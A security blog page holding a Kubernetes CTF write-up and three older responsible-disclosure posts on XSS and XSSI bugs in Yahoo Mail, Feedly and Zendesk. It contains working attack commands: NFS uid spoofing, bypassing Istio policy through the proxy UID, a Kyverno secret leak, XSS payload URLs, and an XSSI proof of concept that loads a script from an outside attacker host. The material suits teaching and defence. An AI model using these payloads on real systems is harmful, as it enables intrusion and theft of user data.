Thursday, March 21, 2024

K8sLanParty writeup

1. Recon

DNSing with the stars
You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further. As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have "loaded your machine with dnscan to ease this process for further challenges.

According to the challenge description, we should conduct DNS scanning to locate a svc (service). Sending an HTTP request to this svc may reveal the flag. Initially, we need to determine the IP range, which can be achieved by reading the environment variables. The tool required for DNS scanning is located within a container. After executing the dnscan binary against the IP range 10.100.*.*, we discovered a svc. Subsequently, sending an HTTP request to this svc provided us with the flag.

- Find IP range:

player@wiz-k8s-lan-party:~$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
USER_ID=fc3c21f6-5d0d-4474-8e22-4d77727141e8
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
HISTFILE=/home/player/.bash_history
TMPDIR=/tmp
TERM=xterm-256color
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_SERVICE_HOST=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
HISTFILESIZE=2048
_=/usr/bin/env

- Scan IP range:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.*
34996 / 65536 [----------------------------------------------------------------->_________________________________________________________] 
53.40% 978 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
65476 / 65536 [-------------------------------------------------------------------------------------------------------------------------->] 
99.91% 977 p/s10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.
65536 / 65536 [--------------------------------------------------------------------------------------------------------------------------] 100.00% 980 p/s

- Send HTTP request to service:

player@wiz-k8s-lan-party:~$ curl getflag-service.k8s-lan-party.svc.cluster.local
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}

 

2. Finding Neighbours

Hello?
Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.

All the challenges in this CTF revolve around network misconfigurations, so this one should somehow relate to the topic. Initially, I ran a DNS scan and discovered a svc, but sending HTTP requests to the service didn't lead me to the flag. The challenge description mentioned a sidecar, indicating a shared network namespace. Additionally, the hint provided by the challenge logo pointed towards sniffing. Upon examining the open network connections, this idea was supported. Utilizing tcpdump to capture network traffic ultimately led us to uncover the flag.

- Scan IP range:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.*
43753 / 65536 [---------------------------------------------------------------------------------->________________________________________] 66.76% 967 p/s
10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local.
65405 / 65536 [-------------------------------------------------------------------------------------------------------------------------->] 99.80% 967 p/s10.100.171.123 -> 
reporting-service.k8s-lan-party.svc.cluster.local.

- Get open connection:

player@wiz-k8s-lan-party:~$ netstat -tnluap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 192.168.4.203:44070     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:40752     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:41876     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:46492     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:46494     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:41872     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:34570     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:34580     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:40740     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:59264     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:59276     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:44066     10.100.171.123:80       TIME_WAIT   -  

- Capture traffic:

player@wiz-k8s-lan-party:~$ tcpdump -A -i any dst host 10.100.171.123 | grep "wiz_k8s"

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}

 

3. Data Leakage

Exposed File Share
The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.

This challenge was easy to solve, yet I encountered some difficulty to find a start point :D. It took me a while to comprehend what was clearly ponited out, NETWORK STORAGE! Upon inspecting the mount information it is apparent that the flag resides within flag.txt in the /efs directory, However we lack permission to access the content due to UID mapping. As observed in the mount information this is an EFS share. By manipulating the UID and GID, we can access the file content. However, the capabilities within this container are limited, preventing us from remounting or remapping the user ID through the creation of another namespace. Alternatively, we can communicate directly with the NFS server and modify our UID and GID using the nfs-cat and nfs-ls binaries.

- Check mount:

player@wiz-k8s-lan-party:~$ mount | grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4
(ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,
proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.4.189,
local_lock=none,addr=192.168.124.98)

player@wiz-k8s-lan-party:~$ ls -lah /efs
total 8.0K
drwxr-xr-x 2 root   root   6.0K Mar 11 11:43 .
drwxr-xr-x 1 player player   51 Mar 19 09:03 ..
---------- 1 daemon daemon   73 Mar 11 13:52 flag.txt

player@wiz-k8s-lan-party:/efs$ cat flag.txt
cat: flag.txt: Permission denied

- Change uid and gid:

player@wiz-k8s-lan-party:~$ nfs-ls "nfs://192.168.124.98/?uid=0&gid=0&version=4"
----------  1 	1 	1       	73 flag.txt

player@wiz-k8s-lan-party:~$ nfs-cat "nfs://192.168.124.98//flag.txt?uid=0&gid=0&version=4"
wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}

 

4. Bypassing Boundaries

The Beauty and The Ist
Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don't abuse this power; use it responsibly and with caution.

AuthorizationPolicy:

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: istio-get-flag
namespace: k8s-lan-party
spec:
action: DENY
selector:
matchLabels:
app: "{flag-pod-name}"
rules:
- from:
- source:
namespaces: ["k8s-lan-party"]
to:
- operation:
methods: ["POST", "GET"]

This challenge presents us with an Istio AuthorizationPolicy. The policy restricts GET and POST requests to pods labeled with "app: {flag-pod-name}" from the "k8s-lan-party" namespace. Thus, our objective is to access a svc to obtain the flag. Initially, we must locate the svc address, typically done through DNS scanning. However, direct connection to the svc is hindered by the AuthorizationPolicy. To overcome this constraint, we leverage the operation of the istio-proxy sidecar container within the Pod, which operates under UID 1337. By transitioning to UID 1337, where the proxy does not impose any restrictions, we gain the ability to obtain the flag.

- Finding Service:

$ dnscan -subnet 10.100.*.*
57295 / 65536 [----------------------------------------------------------------------------------------------------------->_______________] 87.43% 954 
p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.

- Connecting to the Service:

root@wiz-k8s-lan-party:~# curl -i istio-protected-pod-service.k8s-lan-party.svc
HTTP/1.1 403 Forbidden
content-length: 19
content-type: text/plain
date: Sat, 23 Mar 2024 00:55:14 GMT
server: envoy
x-envoy-upstream-service-time: 1

RBAC: access denied

- Substitute to the user istio:

root@wiz-k8s-lan-party:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
_rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
istio:x:1337:1337::/home/istio:/bin/sh
player:x:1001:1001::/home/player:/bin/sh

root@wiz-k8s-lan-party:~# su - istio su: warning: cannot change directory to /home/istio: No such file or directory

- Sending Http request:

$ curl -i istio-protected-pod-service.k8s-lan-party.svc.cluster.local
HTTP/1.1 200 OK
server: istio-envoy
date: Fri, 15 Mar 2024 20:47:34 GMT
content-type: text/plain
x-envoy-upstream-service-time: 0
x-envoy-decorator-operation: istio-protected-pod-service.k8s-lan-party.svc.cluster.local:80/*
transfer-encoding: chunked

wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}

 

5. Lateral Movement

Who will guard the guardians?
Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.

Policy:

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

In this challenge, we're tasked with utilizing a mutation policy in Kyverno to retrieve the flag. A specific policy has been provided, guiding us to create an appropriate AdmissionReview manifest with the given details. Our next step involves sending this manifest to the Kyverno service. Upon processing, Kyverno will perform mutations on the manifest, embedding the flag within the environment variables.

- Finding Kyverno Services:

$ dnscan -subnet 10.100.*. *
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.

- Finding Endpoint:

player@wiz-k8s-lan-party:~$ curl -s kyverno-svc-metrics.kyverno.svc:8000/metrics | grep "apply-flag-to-env" | less

kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.005"} 1
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.01"} 5
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.025"} 5
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.05"} 5

- Create an AdmisionReview manifest:

{
    "kind": "AdmissionReview",
    "apiVersion": "admission.k8s.io/v1",
    "request": {
        "uid": "ab76586c-3d3f-4853-b60c-a750feb83072",
        "kind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "resource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "requestKind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "requestResource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "name": "inject-me",
        "namespace": "sensitive-ns",
        "operation": "CREATE",
        "userInfo": {
            "username": "test",
            "uid": "a9cab43b-01e7-4e3d-86c7-bed3eca9c9de"
        },
        "object": {
            "kind": "Pod",
            "apiVersion": "v1",
            "metadata": {
                "name": "inject-me",
                "namespace": "sensitive-ns",
                "creationTimestamp": null
            },
            "spec": {
                "containers": [
                    {
                        "name": "inject-me",
                        "image": "alpine:latest",
                        "resources": {}
                    }
                ]
            },
            "status": {}
        },
        "oldObject": null,
        "dryRun": true,
        "options": {
            "kind": "CreateOptions",
            "apiVersion": "meta.k8s.io/v1"
        }
    }
}

- Sending a mutation request to Kyverno svc:


player@wiz-k8s-lan-party:~$ curl -sk -XPOST -H "Content-Type: application/json" https://kyverno-svc.kyverno.svc/mutate?apply-flag-to-env -d @raw | jq -r ".response.patch" | base64 -d | jq -C "."
[
  {
    "op": "add",
    "path": "/spec/containers/0/env",
    "value": [
      {
        "name": "FLAG",
        "value": "wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"
      }
    ]
  },
  {
    "path": "/metadata/annotations",
    "op": "add",
    "value": {
      "policies.kyverno.io/last-applied-patches": "inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"
    }
  }
]

Saturday, June 8, 2013

Flash based XSS in Yahoo Mail

Summary:
I discovered a XSS vulnerability in IO Utility [1] of YUI library. In this post I explained the vulnerability and it's affect on Yahoo Mail.  

Details:
The ExternalInterface class in ActionScript is an application programming interface that enables communication between ActionScript and the SWF container. This class has a method named "call()" which invokes a JavaScript function if the container is a HTML page. It takes two parameters, the first one is the name of the JavaScript function to call and the other one is a string to pass to that JavaScript function. It is possible to execute malicious JavaScript in context of container if one of these parameters are attacker-controlled [2].

In IO Utility of YUI, io.swf (located at yui\build\io-xdr\io.swf) was vulnerable to XSS. As you can see in figure 1, yid and uid are derived from user input and then used as a parameter in ExternalInterface.call() without any validation. 
Figure 1 - Vulnerable code
By this vulnerability attacker could execute malicious JavaScript in context of io.swf container.

PoC:
http://localhost/io.swf?yid=\"%29%29;}catch%28e%29{alert%28document.domain%29;}//
Yahoo Mail was affected by this vulnerability because, io.swf was hosted at Yahoo mail main domain (fail!) and accessible from http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf for logged in users.

Figure 2 - io.swf hosted in Yahoo Mail domain

How to exploit this issue:
Yahoo uses HTTPOnly flag for cookies so it's not possible to hijack cookies but as io.swf is hosted in context of us-mg[x].yahoo.com I was able to execute JavaScript in context of us-mg[x].yahoo.com. For example by sending below URL to a Yahoo Mail user it was possible to read his inbox.
http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf?yid=\%22%29%29;}catch%28e%29{x=window.open('http://us-mg5.mail.yahoo.com/');setTimeout('alert(x.document.body.innerText)',4000)}//
In a future post I'll explain the exploitation of this type of vulnerabilities. 
PoC Video:

Fix:
June 6th, YUI 3.10.1 released which fixed this issue. Fix is based on a regular expression which validates the yid and uid value.
Figure 3 - Vulnerability fixed
Yahoo Security team response:
I was aware of this vulnerability for a long time but I didn't interested to report it to Yahoo Security because my past experiences shows that nothing more than a T-shirt could be achieved (they don't send it to Iran :P), even no credit for responsible disclosure when you report a vulnerability to Yahoo! 

However recently I sent an email and asked if they pay reward for responsible disclosure and they replied:
Figure 4 - Yahoo Security team response

References:
[1]http://yuilibrary.com/yui/docs/io/
[2]http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html

Tuesday, April 30, 2013

Exploiting an unexploitable persistence DOM based XSS in feedly.com by using root domain cookies!

Summary:
I found a persistence DOM based XSS vulnerability in feedly.com website. As it was not possible to exploit it directly without altering the cookies, I called it an unexploitable vulnerability! However, I could exploit it by using another XSS vulnerability which was in s3 subdomain of feedly.com website. This post explains what I have done to exploit this issue.

DOM based XSS in feedly.com:
First I found a DOM based XSS in feedly.com. As you can see in below picture the source is a cookie (feedlyVersion) and the sink is document.write(). 

Figure 1 - Picture of vulnerable code
Normally we can't exploit this issue because it's not possible to control the value of 'feedlyVersion' cookie and this is a less severe issue.

But in this type of vulnerability if attacker can control a cookie in a victim’s browser, then it can be assumed that exploitation is similar to other vectors where an attacker controls aspects of a user request, like a querystring value, or an HTTP POST name-value pair [1]. So the only way to exploit this DOM based XSS was adding a new cookie with the same name as 'feedlyVersion' and our payload.

Flash based XSS in s3.feedly.com:
Then I tried to find another XSS vulnerability in feedly.com sub-domains. Quickly I found a vulnerable version of JWplayer [2] (http://s3.feedly.com/production/@@@/flash/player.swf) in s3.feedly.com. 

Figure 2 - Flash based XSS in s3.feedly.com
Figure 3 - s3.feedly.com befor adding new cookie
Through this vulnerability in s3.feedly.com subdomain It was possible to add a new cookie for *.feedly.com. 

Chaining these issues:
To successfully exploit this issue our new feedlyVersion cookie should be in front of original feedlyVersion in cookie string. I used the trick which Egor Homakov introduced in his "Hacking Github with Webkit" blogpost [3].

A) Set a new cookie with feedlyVersion name and our payload for *.feedly.com:
document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";
B) Moving our new feedlyVersion in front of the old one in cookie string:
x1=window.open('http://feedly.com/');x1.close();
C) Redirecting user to http://feedly.com to execute our payload:
location.href='http://feedly.com'
Finally putting all of them together:
http://s3.feedly.com/production/@@@/flash/player.swf?debug=function(){document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";x1=window.open('http://feedly.com/');x1.close();location.href='http://feedly.com'}
Figure 4 - feedly.com before adding new feedlyVersion cookie
Figure 5 - s3.feedly.com after adding feedlyVersion cookie (by attacker)
Figure 6 - feedly.com after adding new feedlyVersion cookie
Figure 7 - Attacker controlled cookie delivered to the sink

PoC Video:


Disclosure Timeline:
April 8, 2013: Details of the vulnerabilities sent to Feedly.
April 8, 2013: Received reply, "Will take a look at them today".
April 9, 2013: Received reply, "All issue have been fixed".

Kudos to the Feedly team for fixing issues very quickly.

References:
[1] http://media.blackhat.com/bh-ad-11/Lundeen/bh-ad-11-Lundeen-New_Ways_Hack_WebApp-WP.pdf
[2] http://www.wooyun.org/bugs/wooyun-2010-07166
[3] http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html

Friday, March 15, 2013

XSSI in Zendesk leaked Twitter users' personal information

TL;DR Chaining a XSSI vulnerability in Zendesk and authorization issue in Twitter to access Twitter users' username and email address.

What is Cross-Site script inclusion vulnerability?
Browsers prevent pages of one domain from reading pages in other domains. But they do not prevent pages of a domain from referencing resources in other domains. In particular, they allow images to be rendered from other domains and scripts to be executed from other domains. An included script doesn't have its own security context. It runs in the security context of the page that included it. For example, if www.evil.example.com includes a script hosted on www.google.com then that script runs in the evil context not in the google context. So any user data in that script will "leak" [1].

Another definition:
A flaw caused by the failure to secure sensitive JSON-like responses against being loaded on third-party sites via <script src=...>. User-specific information in the response may be leaked to attackers [2].

Detail of Zendesk.com XSSI vulnerability:
Zendesk used a JavaScript file (https://xyzxyzx.zendesk.com/generated/javascripts/user.js) to store information of currently logged-in user. The most interesting data in this file was username and email address. It was possible to include this JavaScript file in a evil page, redirect user to evil page and access these information.

Authorization issue in Twitter!?:
Twitter authorize Zendesk.com to access part of user data without any user interaction (I don't know why this should happen silently). So is it a security issue? In my opinion it totally depends on what Twitter shares with Zendesk! Based on data in user.js file only Twitter users' username and email address are shared with Zendesk (Without user perimission). These are interesting but I think this is not a security issue or at least its impact is low. 

What happens when user request https://twitter.zendesk.com:








Chaining these issues:
As Twitter share users' info with Zendesk, vulnerabilities (XSS, XSSI, ...) in Zendesk could leak these data. To ensure that user is currently logged into https://twitter.zendesk.com we force user's browser to send a request to https://twitter.zendesk.com:

1) Load https://twitter.zendesk.com in a hidden iframe in evil page.
2) With a delay load https://twitter.zendesk.com/generated/javascripts/user.js in script tag.

PoC:


<head>
<script>
function loadme()
{
 address = ['https://assets.zendesk.com/assets/vendor/jquery-1.6.1-86096357efa9dc21044b775b3f361e15.js',
 'https://twitter.zendesk.com/generated/javascripts/locale/0/1/1359507312.js',
 'https://assets.zendesk.com/assets/bootstrap-f05ffba88f3ed500b90b259aa5512fc5.js',
 'https://twitter.zendesk.com/generated/javascripts/user.js',
 'http://coolhand.persiangig.com/b.js'];
 for(var i=0;i<5;i++)
 {
  var tag=document.createElement('script'); 
  tag.type='text/javascript';
  tag.src=address[i]; 
  handle=document.getElementsByTagName('head');
  handle[0].appendChild(tag);
 } 
}
</script>
</head>
<body>
<iframe src="https://twitter.zendesk.com" frameborder="0" width="1" height="1" onload="loadme()"></iframe>
</body>
</html>


PoC Video:
At that point I've prepared a quick PoC [3] and assumed that victim was logged into https://twitter.zendesk.com.



Response from Twitter and Zendesk: 
At first I've reported this issue to Twitter security, But they believed hat wasn't related to Twitter and Zendesk should fix this issue. It's obvious that who should fix the XSSI but as I mentioned Twitter authorize Zendesk to access users' data without any user interaction! 
Response from Twitter Security to this issue
Then I reported this issue to Zendesk support team. It seems they fixed this issue now.

Response from Zendesk to this issue
[1] http://google-gruyere.appspot.com/part3#3__cross_site_script_inclusion.
[2] Zalewski. M, The Tangled Web: A Guide to Securing Modern Web Applications, 262.
[3] http://coolhand.persiangig.com/d707206c0a186e3dd5fd4d605bec7d80.html.